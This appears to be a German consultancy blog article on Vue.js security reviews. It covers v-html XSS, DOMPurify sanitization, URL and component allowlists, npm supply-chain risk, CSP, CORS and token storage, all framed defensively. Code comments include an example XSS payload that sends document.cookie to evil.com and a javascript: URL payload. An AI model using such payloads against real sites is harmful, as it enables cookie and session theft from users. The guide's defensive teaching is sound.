XSS, v-html und Third-Party-Risiken erkennen
Vue.js schützt von Haus aus vor den meisten XSS-Angriffen – bis Entwickler v-html, innerHTML oder unsanitisierte API-Daten einsetzen. Ein Vue Security Review deckt auf, wo diese Schutzmechanismen umgangen werden und wie man Third-Party-Abhängigkeiten und fehlende CSP als zusätzliche Angriffsvektoren behandelt.
Inhaltsverzeichnis
- 1. Vues eingebauter XSS-Schutz und seine Grenzen
- 2. v-html: der häufigste XSS-Vektor in Vue-Apps
- 3. HTML-Sanitization mit DOMPurify
- 4. Unsichere Interpolation: URL-Attribute und Event-Handler
- 5. Third-Party-Risiken: npm-Pakete als Angriffsvektor
- 6. Content Security Policy für Vue-Anwendungen
- 7. CORS und API-Sicherheit im SPA-Kontext
- 8. Token-Speicherung und Auth-Sicherheit
- 9. Sicherheitsmuster im Vergleich
- 10. Zusammenfassung
- 11. FAQ
1. Vues eingebauter XSS-Schutz und seine Grenzen
Vue.js escapet bei der Template-Kompilierung standardmäßig alle Ausdrücke, die über die doppelt geschweifte Interpolation { { variable } } in das DOM eingefügt werden. Das bedeutet: Zeichen wie <, >, & und " werden in ihre HTML-Entitäten umgewandelt, bevor sie im DOM landen. Ein Angreifer, der schadhaftes JavaScript in eine Variable einschleust, die dann per { { variable } } gerendert wird, sieht seinen Code als sichtbaren Text – nicht als ausführbares Script. Dieser Vue Security-Mechanismus schützt automatisch gegen die häufigste Form von XSS-Angriffen ohne jede Entwickleraktion.
Die Grenzen dieses Schutzes sind klar definiert und in der Vue Security-Dokumentation explizit beschrieben: Der Schutz gilt ausschließlich für Template-Interpolation mit { { } }. Sobald Entwickler auf rohe HTML-Ausgabe ausweichen – über v-html, direkten innerHTML-Zugriff via Template Refs oder das Einbinden von Drittanbieter-Bibliotheken, die intern DOM-Methoden aufrufen – greift Vues automatischer Schutz nicht mehr. Ein Vue Security Review muss daher systematisch alle Stellen identifizieren, an denen dieser Schutzmechanismus umgangen wird, und prüfen, ob an diesen Stellen geeignete Sanitization stattfindet.
2. v-html: der häufigste XSS-Vektor in Vue-Apps
Die v-html-Direktive setzt innerHTML des Elements auf den übergebenen Wert, ohne jedes Escaping. Das ist die häufigste Quelle für XSS-Schwachstellen in Vue-Anwendungen und ein Pflichtpunkt in jedem Vue Security Review. Der typische Anwendungsfall: Ein CMS oder Blog-Editor liefert HTML-Inhalte aus einer API, die direkt mit v-html="articleContent" gerendert werden. Enthält der API-Response schadhaftes JavaScript – sei es durch einen kompromittierten Content-Editor, eine API-Injection oder einen Man-in-the-Middle-Angriff – wird dieses Script im Browser des Nutzers ausgeführt.
Das Problem ist nicht die Direktive selbst, sondern ihr Einsatz mit unkontrollierten Datenquellen. Vue Security-Best-Practice: v-html nur mit Inhalten verwenden, die entweder vom eigenen Team kontrolliert werden oder durch eine serverseitige Sanitization-Pipeline gelaufen sind. Serverseite Sanitization ist clientseitiger Sanitization immer vorzuziehen, weil der Angreifer Client-Code manipulieren kann. Wenn v-html wirklich nötig ist, muss clientseitig DOMPurify als zweite Verteidigungslinie eingesetzt werden. Ein v-html mit User-Generated-Content ohne Sanitization ist eine kritische Sicherheitslücke.
// WRONG: v-html with uncontrolled API data — XSS risk
// <div v-html="articleFromApi"></div>
// If API returns: <img src=x onerror="document.location='https://evil.com?c='+document.cookie">
// → cookies stolen, script executed in user's browser
// RIGHT: sanitize before rendering with DOMPurify
import DOMPurify from 'dompurify'
// Composable for safe HTML rendering
export function useSafeHtml() {
const sanitize = (dirty: string): string => {
return DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a', 'ul', 'ol', 'li', 'br', 'h2', 'h3'],
ALLOWED_ATTR: ['href', 'target', 'rel'],
// Force all links to be safe
FORCE_BODY: true,
RETURN_DOM_FRAGMENT: false
})
}
return { sanitize }
}
// In component:
// const { sanitize } = useSafeHtml()
// const safeHtml = computed(() => sanitize(props.content))
// <div v-html="safeHtml"></div>
3. HTML-Sanitization mit DOMPurify
DOMPurify ist die Standardlösung für clientseitige HTML-Sanitization und ein unverzichtbares Werkzeug im Vue Security-Stack. Die Bibliothek parst HTML in einem isolierten DOM-Kontext, entfernt alle gefährlichen Tags und Attribute und gibt sicheres HTML zurück. Wichtig dabei: DOMPurify ist eine Ergänzung zu serverseitiger Sanitization, keine Alternative. Ein Angreifer, der JavaScript-Ausführungsrechte im Browser des Opfers erlangt hat (z. B. über eine andere XSS-Lücke), kann DOMPurify durch DOM-Manipulation deaktivieren. Serverseitige Sanitization mit Bibliotheken wie sanitize-html (Node.js) oder HTMLPurifier (PHP) muss immer die erste Verteidigungslinie sein.
Die Konfiguration von DOMPurify muss restriktiv sein. Das Standard-Allowlist ist für die meisten Anwendungsfälle zu großzügig. Ein Vue Security Review sollte prüfen, ob ALLOWED_TAGS und ALLOWED_ATTR auf das wirklich Notwendige beschränkt sind. Besonders gefährlich: javascript:-URLs in href-Attributen, data:-URLs in src-Attributen und Event-Handler-Attribute wie onload, onerror, onclick. DOMPurify entfernt diese standardmäßig, aber eine benutzerdefinierte Konfiguration kann diese Schutzmaßnahmen versehentlich deaktivieren.
4. Unsichere Interpolation: URL-Attribute und Event-Handler
Neben v-html gibt es weitere Stellen in Vue-Templates, an denen Vue Security-Risiken entstehen. Dynamische URL-Attribute wie :href="userUrl" oder :src="userImage" können mit javascript:- oder data:-URLs befüllt werden, die beim Klick oder Laden JavaScript ausführen. Vue warnt in der Entwicklungsversion, wenn eine javascript:-URL in einem href-Attribut erkannt wird, aber dieser Schutz greift nicht in Produktionsbuilds. Die sichere Alternative: URLs validieren, bevor sie in Attribute gebunden werden – entweder durch eine Whitelist erlaubter Protokolle (https://, mailto:) oder durch Ablehnung aller URLs, die nicht mit dem eigenen Hostnamen beginnen.
Eine subtilere Gefahr sind dynamisch generierte Komponenten mit :is="componentName". Wenn der Komponentenname aus einer unkontrollierten Quelle stammt und auf globale Komponenten oder Vue-Interne zeigen kann, lässt sich damit beliebiges Rendering ausführen. Die sichere Variante: Eine feste Map von erlaubten Komponentennamen zu importierten Komponenten-Objekten, nie direkte String-Auflösung gegen die globale Komponenten-Registry.
// WRONG: dynamic URL binding without validation
// <a :href="user.website">Visit</a>
// user.website = "javascript:alert(document.cookie)" → XSS on click
// RIGHT: validate URL protocol before binding
import { computed } from 'vue'
function isSafeUrl(url: string): boolean {
try {
const parsed = new URL(url)
// Only allow safe protocols
return ['https:', 'http:', 'mailto:'].includes(parsed.protocol)
} catch {
return false
}
}
// In composable
export function useSafeUrl(rawUrl: string) {
const safeUrl = computed(() =>
isSafeUrl(rawUrl) ? rawUrl : '#'
)
return { safeUrl }
}
// WRONG: dynamic component from user input
// <component :is="userProvidedComponentName" />
// RIGHT: allowlist of safe components
const ALLOWED_COMPONENTS: Record<string, Component> = {
'hero': HeroComponent,
'gallery': GalleryComponent,
'text-block': TextBlockComponent,
}
const safeComponent = computed(() =>
ALLOWED_COMPONENTS[props.type] ?? DefaultComponent
)
// <component :is="safeComponent" />
5. Third-Party-Risiken: npm-Pakete als Angriffsvektor
Der Supply-Chain-Angriff ist eine der am stärksten wachsenden Bedrohungen für Frontend-Anwendungen. Ein kompromittiertes npm-Paket – ob durch einen gehackten Maintainer-Account, einen böswilligen Fork oder einen typosquatting-Angriff auf ähnlich klingende Paketnamen – kann beim Build in die Anwendung gelangen und im Browser der Nutzer beliebigen Code ausführen. Vue Security-Reviews müssen daher nicht nur den eigenen Code, sondern auch die Abhängigkeitskette bewerten. Tools wie npm audit, pnpm audit und Snyk analysieren bekannte CVEs in Abhängigkeiten, sind aber kein Schutz gegen Zero-Day-Kompromittierungen.
Präventive Maßnahmen für Third-Party-Risiken: package-lock.json oder pnpm-lock.yaml in der Versionskontrolle halten und in CI-Pipelines prüfen, ob der installierte Stand dem Lock-File entspricht (npm ci statt npm install). Subresource Integrity (SRI) für CDN-geladene Scripts erzwingen. Abhängigkeiten minimieren: Jedes npm-Paket ist eine potenzielle Angriffsfläche. Wer eine Bibliothek für eine Funktion einbindet, die in 15 Zeilen eigenem Code lösbar wäre, vergrößert die Angriffsfläche unnötig. Automatisierte Dependency-Updates per Dependabot oder Renovate bot halten bekannte Schwachstellen kurzlebig.
6. Content Security Policy für Vue-Anwendungen
Die Content Security Policy (CSP) ist eine HTTP-Header-basierte Sicherheitsschicht, die dem Browser mitteilt, welche Ressourcen von welchen Quellen geladen werden dürfen. Eine korrekt konfigurierte CSP ist die stärkste technische Maßnahme gegen XSS in Vue-Anwendungen: Selbst wenn ein Angreifer schadhaftes JavaScript in den DOM einschleusen kann, verhindert die CSP dessen Ausführung, wenn es nicht von einer erlaubten Quelle stammt. Die Herausforderung bei Vue-Anwendungen: Vues Template-Compiler erzeugt standardmäßig Inline-Scripts für Server-Side Rendering. Für reine Client-Side-Apps ist das kein Problem, aber für SSR-Setups muss unsafe-inline vermieden und stattdessen mit Nonces oder Hashes gearbeitet werden.
Ein realistischer CSP-Header für eine Vue.js-SPA ohne SSR beginnt mit default-src 'self', erlaubt Scripts nur von der eigenen Domain und explizit gelisteten CDNs, verbietet object-src 'none' (Flash, Plugins) und setzt base-uri 'self'. unsafe-eval darf nicht gesetzt werden – Vue 3 braucht es nicht, Vue 2 in manchen Konfigurationen schon. Wer unsafe-eval sieht, sollte die Ursache identifizieren und durch eine sichere Alternative ersetzen. CSP-Violations per report-uri oder report-to an einen Endpoint zu senden und dort auszuwerten, ermöglicht das frühzeitige Erkennen von Angriffsversuchen.
// vite.config.ts — CSP via Vite plugin for development
// Production: set via web server headers (Nginx/Apache)
import { defineConfig } from 'vite'
import vue from '@vitejs/plugin-vue'
export default defineConfig({
plugins: [
vue(),
{
// Development CSP plugin (simplified)
name: 'csp-headers',
configureServer(server) {
server.middlewares.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
[
"default-src 'self'",
"script-src 'self'", // no unsafe-inline, no unsafe-eval
"style-src 'self' 'unsafe-inline'", // Tailwind needs inline styles
"img-src 'self' data: https:",
"font-src 'self'",
"connect-src 'self' https://api.mironsoft.de",
"object-src 'none'",
"base-uri 'self'",
"form-action 'self'",
"frame-ancestors 'none'",
].join('; ')
)
next()
})
}
}
]
})
// Nginx production config snippet:
// add_header Content-Security-Policy "default-src 'self'; script-src 'self'; ..." always;
7. CORS und API-Sicherheit im SPA-Kontext
CORS (Cross-Origin Resource Sharing) schützt nicht die Vue-Anwendung selbst, sondern die API, die sie aufruft. Eine fehlerhaft konfigurierte CORS-Policy auf der API – z. B. Access-Control-Allow-Origin: * kombiniert mit Access-Control-Allow-Credentials: true – ist eine kritische Fehlkonfiguration, die es Angreifer-Websites erlaubt, im Kontext eines eingeloggten Nutzers Anfragen an die API zu stellen. Vue Security Reviews müssen daher die CORS-Konfiguration der Backend-API in die Bewertung einbeziehen, auch wenn sie nicht Teil des Vue-Codes ist.
Die sichere CORS-Konfiguration für eine API, die von einer Vue-SPA konsumiert wird: Access-Control-Allow-Origin auf die spezifischen erlaubten Domains setzen, nie Wildcard wenn Credentials übertragen werden, Access-Control-Allow-Methods auf die tatsächlich genutzten HTTP-Methoden beschränken und Access-Control-Max-Age für Preflight-Caching setzen. Auf API-Token im localStorage verzichten, wenn die Anwendung XSS-gefährdet ist – HttpOnly-Cookies, die der Browser automatisch mitschickt, sind die sicherere Alternative für Session-Token.
8. Token-Speicherung und Auth-Sicherheit
Die Frage, wo Auth-Token in einer Vue-SPA gespeichert werden sollen, ist eine der meistdiskutierten Vue Security-Fragen. localStorage und sessionStorage sind für JavaScript vollständig lesbar – ein XSS-Angriff auf die App kann alle dort gespeicherten Token sofort extrahieren. HttpOnly-Cookies sind für JavaScript nicht lesbar und damit resistent gegen Token-Diebstahl per XSS. Der Nachteil: Sie sind anfällig für CSRF-Angriffe, die durch SameSite-Cookie-Attribute (SameSite=Strict oder SameSite=Lax) weitgehend mitigiert werden. Für hochsicherheitskritische Anwendungen ist das Backend-for-Frontend (BFF)-Pattern der beste Ansatz: Die Vue-App kommuniziert nur mit dem eigenen Backend-Server, der Token-Verwaltung übernimmt und nie Token an den Browser übergibt.
Refresh-Token gehören niemals in den localStorage. Wenn Access-Token kurzlebig sind (15 Minuten) und Refresh-Token in HttpOnly-Cookies liegen, ist das Kompromittierungsfenster bei einem XSS-Angriff auf den Ablauf des Access-Token begrenzt. Pinia-Stores für Auth-State sind für die Laufzeit der App in Ordnung, weil ihr Inhalt im Arbeitsspeicher liegt und nach einem Tab-Reload gelöscht ist. Wer Auth-State persistent braucht, muss Token speichern – und die richtige Storage-Wahl ist der entscheidende Sicherheitsfaktor.
9. Sicherheitsmuster im Vergleich
Die Wahl zwischen verschiedenen Sicherheitsansätzen in Vue-Anwendungen hat direkte Auswirkungen auf das Risikoprofil der Anwendung. Folgende Tabelle fasst die wichtigsten Vue Security-Entscheidungen und ihre Implikationen zusammen:
| Thema | Unsicher | Sicher | Risiko |
|---|---|---|---|
| HTML-Ausgabe | v-html ohne Sanitization |
DOMPurify + Serverseitige Sanitization | XSS, Cookie-Diebstahl |
| Token-Speicher | localStorage für JWTs | HttpOnly-Cookies mit SameSite | Token-Diebstahl bei XSS |
| URL-Binding | :href="userUrl" direkt |
Protokoll-Whitelist validieren | javascript:-URL-Ausführung |
| Abhängigkeiten | npm install ohne Lock |
npm ci + Dependabot |
Supply-Chain-Angriff |
| Script-Ausführung | Kein CSP-Header | CSP mit script-src 'self' |
Injizierte Scripts werden ausgeführt |
Ein vollständiger Vue Security Review deckt alle fünf Kategorien ab. Die häufigsten Kritikpunkte in der Praxis sind v-html ohne Sanitization und Auth-Token im localStorage – beide weit verbreitet, beide vermeidbar. Das Risikoprofil einer Vue-Anwendung verbessert sich am stärksten durch konsequente Sanitization aller HTML-Ausgaben, sichere Token-Speicherung und eine restriktive CSP.
Mironsoft
Vue.js Security Reviews und Frontend-Sicherheitsarchitektur
Vue Security Review für euer Projekt?
Wir analysieren Vue-Anwendungen systematisch auf XSS-Vektoren, unsichere Token-Speicherung, fehlende CSP und Third-Party-Risiken und liefern priorisierte Maßnahmenpläne.
XSS-Audit
Systematische Analyse aller v-html-Stellen, URL-Bindungen und dynamischen Komponenten
CSP-Konfiguration
Content Security Policy aufsetzen und testen – ohne unsafe-inline und unsafe-eval
Dependency-Scan
npm audit, Snyk-Integration und Dependabot-Setup für automatisches Vulnerability-Tracking
10. Zusammenfassung
Vues automatischer XSS-Schutz durch Template-Escaping ist solide – aber er schützt nur den Standardfall. Ein vollständiger Vue Security Review deckt alle Stellen auf, an denen dieser Schutz umgangen wird: v-html mit unsanitisierten Daten, dynamische URL-Bindungen ohne Protokoll-Validierung, dynamische Komponenten mit unkontrollierten Namen und Auth-Token im localStorage. DOMPurify als zweite Verteidigungslinie für HTML-Ausgaben, HttpOnly-Cookies für Token-Speicherung und eine restriktive CSP sind die drei technischen Maßnahmen mit dem größten Sicherheitsgewinn.
Third-Party-Risiken durch npm-Pakete sind ein oft unterschätzter Angriffsvektor. npm ci statt npm install in CI, Lock-Files in der Versionskontrolle und automatisierte Dependency-Updates reduzieren das Zeitfenster für bekannte Schwachstellen. Das Ziel eines Vue Security Reviews ist nicht Null-Risiko – das ist unerreichbar. Das Ziel ist die systematische Reduktion der Angriffsfläche auf ein vertretbares Maß, sodass erfolgreiche Angriffe isoliert, erkannt und schnell behoben werden können.
Vue Security Review — Das Wichtigste auf einen Blick
v-html absichern
Serverseitige Sanitization als erste Linie, DOMPurify clientseitig als zweite. Niemals v-html mit unkontrollierten API-Daten ohne Sanitization.
Token-Speicherung
HttpOnly-Cookies mit SameSite-Attribut statt localStorage. Bei XSS sind localStorage-Token sofort lesbar und extrahierbar.
Content Security Policy
script-src 'self' ohne unsafe-inline und unsafe-eval. CSP ist die stärkste technische Maßnahme gegen injizierte Scripts.
Third-Party-Risiken
npm ci statt npm install, Lock-Files committen, Dependabot aktivieren, Abhängigkeiten minimieren – jedes Paket ist Angriffsfläche.
11. FAQ: Vue Security Review – XSS und Third-Party-Risiken
1Ist Vue.js von Haus aus XSS-sicher?
{ { } }-Interpolation. v-html, innerHTML via Template Refs und Drittanbieter-DOM-Manipulationen werden nicht automatisch geschützt.2Wann darf ich v-html verwenden?
3Warum localStorage für Token unsicher ist
4Was ist ein Supply-Chain-Angriff?
5CSP für Vue-SPA einrichten?
default-src 'self'; script-src 'self'; object-src 'none'. Kein unsafe-inline oder unsafe-eval für Scripts.6Reicht DOMPurify allein als XSS-Schutz?
7Dynamische URL-Bindung absichern?
new URL(url), Protokoll gegen Whitelist prüfen (https:, mailto:). javascript:- und data:-URLs ablehnen.8:is mit dynamischen Komponenten absichern?
9CORS-Fehlkonfigurationen auf der API vermeiden?
Access-Control-Allow-Origin: * mit Credentials. Origins explizit listen, Methods beschränken, SameSite-Cookie-Attribute für CSRF-Schutz setzen.